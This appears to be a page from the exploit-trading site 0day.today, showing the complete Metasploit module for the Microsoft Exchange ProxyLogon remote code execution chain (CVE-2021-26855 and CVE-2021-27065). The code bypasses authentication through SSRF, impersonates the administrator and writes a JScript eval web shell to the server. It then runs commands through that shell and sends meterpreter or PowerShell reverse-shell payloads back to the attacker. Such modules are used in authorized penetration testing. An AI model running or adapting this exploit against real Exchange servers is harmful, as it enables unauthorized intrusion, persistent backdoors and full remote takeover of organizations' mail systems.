0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Microsoft Exchange ProxyLogon Remote Code Execution Exploit
Author
Risk
[
Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper include Msf::Exploit::Powershell include Msf::Exploit::Remote::CheckModule include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft Exchange ProxyLogon RCE', 'Description' => %q{ This module exploit a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication, impersonating as the admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get the RCE (Remote Code Execution). By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server. This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). All components are vulnerable by default. }, 'Author' => [ 'Orange Tsai', # Dicovery (Officially acknowledged by MSRC) 'Jang (@testanull)', # Vulnerability analysis + PoC (https://twitter.com/testanull) 'mekhalleh (RAMELLA Sébastien)', # Module author independent researcher (who listen to 'Le Comptoir Secu' and work at Zeop Entreprise) 'print("")', # https://www.o2oxy.cn/3169.html 'lotusdll' # https://twitter.com/lotusdll/status/1371465073525362691 ], 'References' => [ ['CVE', '2021-26855'], ['CVE', '2021-27065'], ['LOGO', 'https://proxylogon.com/images/logo.jpg'], ['URL', 'https://proxylogon.com/'], ['URL', 'http://aka.ms/exchangevulns'], ['URL', 'https://www.praetorian.com/blog/reproducing-proxylogon-exploit'], [ 'URL', 'https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFt-h%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265' ], ['URL', 'https://www.o2oxy.cn/3169.html'], ['URL', 'https://github.com/Zeop-CyberSec/proxylogon_writeup'] ], 'DisclosureDate' => '2021-03-02', 'License' => MSF_LICENSE, 'DefaultOptions' => { 'CheckModule' => 'auxiliary/scanner/http/exchange_proxylogon', 'HttpClientTimeout' => 60, 'RPORT' => 443, 'SSL' => true, 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }, 'Platform' => ['windows'], 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86], 'Privileged' => true, 'Targets' => [ [ 'Windows Powershell', { 'Platform' => 'windows', 'Arch' => [ARCH_X64, ARCH_X86], 'Type' => :windows_powershell, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ], [ 'Windows Dropper', { 'Platform' => 'windows', 'Arch' => [ARCH_X64, ARCH_X86], 'Type' => :windows_dropper, 'CmdStagerFlavor' => %i[psh_invokewebrequest], 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest' } } ], [ 'Windows Command', { 'Platform' => 'windows', 'Arch' => [ARCH_CMD], 'Type' => :windows_command, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'AKA' => ['ProxyLogon'] } ) ) register_options([ OptString.new('EMAIL', [true, 'A known email address for this organization']), OptEnum.new('METHOD', [true, 'HTTP Method to use for the check', 'POST', ['GET', 'POST']]), OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]) ]) register_advanced_options([ OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\Program Files\\Microsoft\\Exchange Server\\V15']), OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\auth']), OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\inetpub\\wwwroot']), OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']), OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']), OptInt.new('MaxWaitLoop', [true, 'Max counter loop to wait for OAB Virtual Dir reset', 30]), OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0']) ]) end def cmd_windows_generic? datastore['PAYLOAD'] == 'cmd/windows/generic' end def encode_cmd(cmd) cmd.gsub!('\\', '\\\\\\') cmd.gsub('"', '\u0022').gsub('&', '\u0026').gsub('+', '\u002b') end def execute_command(cmd, _opts = {}) cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\").StdOut.ReadAll());" send_request_raw( 'method' => 'POST', 'uri' => normalize_uri(web_directory, @random_filename), 'ctype' => 'application/x-www-form-urlencoded', 'data' => "#{@random_inputname}=#{cmd}" ) end def install_payload(exploit_info) # exploit_info: [server_name, sid, session, canary, oab_id] input_name = rand_text_alpha(4..8).to_s shell = "http://o/#<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request[\"#{input_name}\"],\"unsafe\");}</script>" data = { identity: { __type: 'Identity:ECP', DisplayName: (exploit_info[4][0]).to_s, RawIdentity: (exploit_info[4][1]).to_s }, properties: { Parameters: { __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel', ExternalUrl: shell.to_s } } }.to_json response = send_http( 'POST', "Admin@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}", data: data, cookie: exploit_info[2], ctype: 'application/json; charset=utf-8', headers: { 'msExchLogonMailbox' => patch_sid(exploit_info[1]), 'msExchTargetMailbox' => patch_sid(exploit_info[1]), 'X-vDirObjectId' => (exploit_info[4][1]).to_s } ) return '' if response.code != 200 input_name end def message(msg) "#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}" end def patch_sid(sid) ar = sid.to_s.split('-') if ar[-1] != '500' sid = "#{ar[0..6].join('-')}-500" end sid end def random_mapi_id id = "{#{Rex::Text.rand_text_hex(8)}" id = "#{id}-#{Rex::Text.rand_text_hex(4)}" id = "#{id}-#{Rex::Text.rand_text_hex(4)}" id = "#{id}-#{Rex::Text.rand_text_hex(4)}" id = "#{id}-#{Rex::Text.rand_text_hex(12)}}" id.upcase end def random_ssrf_id # https://en.wikipedia.org/wiki/2,147,483,647 (lol) # max. 2147483647 rand(1941962752..2147483647) end def request_autodiscover(server_name) xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' } response = send_http( 'POST', "#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}", data: soap_autodiscover, ctype: 'text/xml; charset=utf-8' ) case response.body when %r{<ErrorCode>500</ErrorCode>} fail_with(Failure::NotFound, 'No Autodiscover information was found') when %r{<Action>redirectAddr</Action>} fail_with(Failure::NotFound, 'No email address was found') end xml = Nokogiri::XML.parse(response.body) legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.nil? || legacy_dn.empty? server = '' xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item| type = item.at_xpath('./xmlns:Type', xmlns)&.content if type == 'EXCH' server = item.at_xpath('./xmlns:Server', xmlns)&.content end end fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty? [server, legacy_dn] end # https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff def request_mapi(server_name, legacy_dn, server_id) data = "#{legacy_dn}\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00" headers = { 'X-RequestType' => 'Connect', 'X-ClientInfo' => random_mapi_id, 'X-ClientApplication' => datastore['MapiClientApp'], 'X-RequestId' => "#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}" } sid = '' response = send_http( 'POST', "Admin@#{server_name}:444/mapi/emsmdb?MailboxId=#{server_id}&a=~#{random_ssrf_id}", data: data, ctype: 'application/mapi-http', headers: headers ) if response.code == 200 sid_regex = /S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/ sid = response.body.match(sid_regex).to_s end fail_with(Failure::NotFound, 'No \'SID\' was found') if sid.empty? sid end def request_oab(server_name, sid, session, canary) data = { filter: { Parameters: { __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel', SelectedView: '', SelectedVDirType: 'OAB' } }, sort: {} }.to_json response = send_http( 'POST', "Admin@#{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary=#{canary}&a=~#{random_ssrf_id}", data: data, cookie: session, ctype: 'application/json; charset=utf-8', headers: { 'msExchLogonMailbox' => patch_sid(sid), 'msExchTargetMailbox' => patch_sid(sid) } ) if response.code == 200 data = JSON.parse(response.body) data['d']['Output'].each do |oab| if oab['Server'].downcase == server_name.downcase return [oab['Identity']['DisplayName'], oab['Identity']['RawIdentity']] end end end [] end def request_proxylogon(server_name, sid) data = "<r at=\"Negotiate\" ln=\"#{datastore['EMAIL'].split('@')[0]}\"><s>#{sid}</s></r>" session_id = '' canary = '' response = send_http( 'POST', "Admin@#{server_name}:444/ecp/proxyLogon.ecp?a=~#{random_ssrf_id}", data: data, ctype: 'text/xml; charset=utf-8', headers: { 'msExchLogonMailbox' => patch_sid(sid), 'msExchTargetMailbox' => patch_sid(sid) } ) if response.code == 241 session_id = response.get_cookies.scan(/ASP\.NET_SessionId=([\w\-]+);/).flatten[0] canary = response.get_cookies.scan(/msExchEcpCanary=([\w\-_.]+);*/).flatten[0] # coin coin coin ... end [session_id, canary] end # pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin. def run_cve_2021_26855 # request for internal server name. response = send_http(datastore['METHOD'], "localhost~#{random_ssrf_id}") if response.code != 500 || !response.headers.to_s.include?('X-FEServer') fail_with(Failure::NotFound, 'No \'X-FEServer\' was found') end server_name = response.headers['X-FEServer'] print_status("Internal server name (#{server_name})") # get informations by autodiscover request. print_status(message('Sending autodiscover request')) server_id, legacy_dn = request_autodiscover(server_name) print_status("Server: #{server_id}") print_status("LegacyDN: #{legacy_dn}") # get the user UID using mapi request. print_status(message('Sending mapi request')) sid = request_mapi(server_name, legacy_dn, server_id) print_status("SID: #{sid} (#{datastore['EMAIL']})") # search oab sid, session, canary, oab_id = search_oab(server_name, sid) [server_name, sid, session, canary, oab_id] end # post-auth arbitrary file write. def run_cve_2021_27065(session_info) # set external url (and set the payload). print_status('Prepare the payload on the remote target') input_name = install_payload(session_info) fail_with(Failure::NoAccess, 'Could\'t prepare the payload on the remote target') if input_name.empty? # reset the virtual directory (and write the payload). print_status('Write the payload on the remote target') remote_file = write_payload(session_info) fail_with(Failure::NoAccess, 'Could\'t write the payload on the remote target') if remote_file.empty? # wait a lot. i = 0 while i < datastore['MaxWaitLoop'] received = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(web_directory, remote_file) }) if received && (received.code == 200) break end print_warning("Wait a lot (#{i})") sleep 5 i += 1 end fail_with(Failure::PayloadFailed, 'Could\'t take the remote backdoor (see. ExchangePathBase option)') if received.code == 302 [input_name, remote_file] end def search_oab(server_name, sid) # request cookies (session and canary) print_status(message('Sending ProxyLogon request')) print_status('Try to get a good msExchCanary (by patching user SID method)') session_id, canary = request_proxylogon(server_name, patch_sid(sid)) if canary session = "ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};" oab_id = request_oab(server_name, sid, session, canary) end if oab_id.nil? || oab_id.empty? print_status('Try to get a good msExchCanary (without correcting the user SID)') session_id, canary = request_proxylogon(server_name, sid) if canary session = "ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};" oab_id = request_oab(server_name, sid, session, canary) end end fail_with(Failure::NotFound, 'No \'ASP.NET_SessionId\' was found') if session_id.nil? || session_id.empty? fail_with(Failure::NotFound, 'No \'msExchEcpCanary\' was found') if canary.nil? || canary.empty? fail_with(Failure::NotFound, 'No \'OAB Id\' was found') if oab_id.nil? || oab_id.empty? print_status("ASP.NET_SessionId: #{session_id}") print_status("msExchEcpCanary: #{canary}") print_status("OAB id: #{oab_id[1]} (#{oab_id[0]})") return [sid, session, canary, oab_id] end def send_http(method, ssrf, opts = {}) ssrf = "X-BEResource=#{ssrf};" if opts[:cookie] && !opts[:cookie].empty? opts[:cookie] = "#{ssrf} #{opts[:cookie]}" else opts[:cookie] = ssrf.to_s end opts[:ctype] = 'application/x-www-form-urlencoded' if opts[:ctype].nil? request = { 'method' => method, 'uri' => @random_uri, 'agent' => datastore['UserAgent'], 'ctype' => opts[:ctype] } request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil? request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil? request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil? received = send_request_cgi(request) fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received received end def soap_autodiscover <<~SOAP <?xml version="1.0" encoding="utf-8"?> <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"> <Request> <EMailAddress>#{datastore['EMAIL']}</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> </Request> </Autodiscover> SOAP end def web_directory if datastore['UseAlternatePath'] web_dir = datastore['IISWritePath'].gsub('\\', '/') else web_dir = datastore['ExchangeWritePath'].gsub('\\', '/') end web_dir end def write_payload(exploit_info) # exploit_info: [server_name, sid, session, canary, oab_id] remote_file = "#{rand_text_alpha(4..8)}.aspx" if datastore['UseAlternatePath'] remote_path = "#{datastore['IISBasePath'].split(':')[1]}\\#{datastore['IISWritePath']}" remote_path = "\\\\127.0.0.1\\#{datastore['IISBasePath'].split(':')[0]}$#{remote_path}\\#{remote_file}" else remote_path = "#{datastore['ExchangeBasePath'].split(':')[1]}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}" remote_path = "\\\\127.0.0.1\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{remote_path}\\#{remote_file}" end data = { identity: { __type: 'Identity:ECP', DisplayName: (exploit_info[4][0]).to_s, RawIdentity: (exploit_info[4][1]).to_s }, properties: { Parameters: { __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel', FilePathName: remote_path.to_s } } }.to_json response = send_http( 'POST', "Admin@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}", data: data, cookie: exploit_info[2], ctype: 'application/json; charset=utf-8', headers: { 'msExchLogonMailbox' => patch_sid(exploit_info[1]), 'msExchTargetMailbox' => patch_sid(exploit_info[1]), 'X-vDirObjectId' => (exploit_info[4][1]).to_s } ) return '' if response.code != 200 remote_file end def exploit @proto = (ssl ? 'https' : 'http') @random_uri = normalize_uri('ecp', "#{rand_text_alpha(1..3)}.js") print_status(message('Attempt to exploit for CVE-2021-26855')) exploit_info = run_cve_2021_26855 print_status(message('Attempt to exploit for CVE-2021-27065')) shell_info = run_cve_2021_27065(exploit_info) @random_inputname = shell_info[0] @random_filename = shell_info[1] print_good("Yeeting #{datastore['PAYLOAD']} payload at #{peer}") if datastore['UseAlternatePath'] remote_file = "#{datastore['IISBasePath']}\\#{datastore['IISWritePath']}\\#{@random_filename}" else remote_file = "#{datastore['ExchangeBasePath']}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}\\#{@random_filename}" end register_files_for_cleanup(remote_file) # trigger powa! case target['Type'] when :windows_command vprint_status("Generated payload: #{payload.encoded}") if !cmd_windows_generic? execute_command(payload.encoded) else response = execute_command("cmd /c #{payload.encoded}") print_warning('Dumping command output in response') output = response.body.split('Name :')[0] if output.empty? print_error('Empty response, no command output') return end print_line(output) end when :windows_dropper execute_command(generate_cmdstager(concat_operator: ';').join) when :windows_powershell cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true) execute_command(cmd) end end end # 0day.today [2024-11-16] #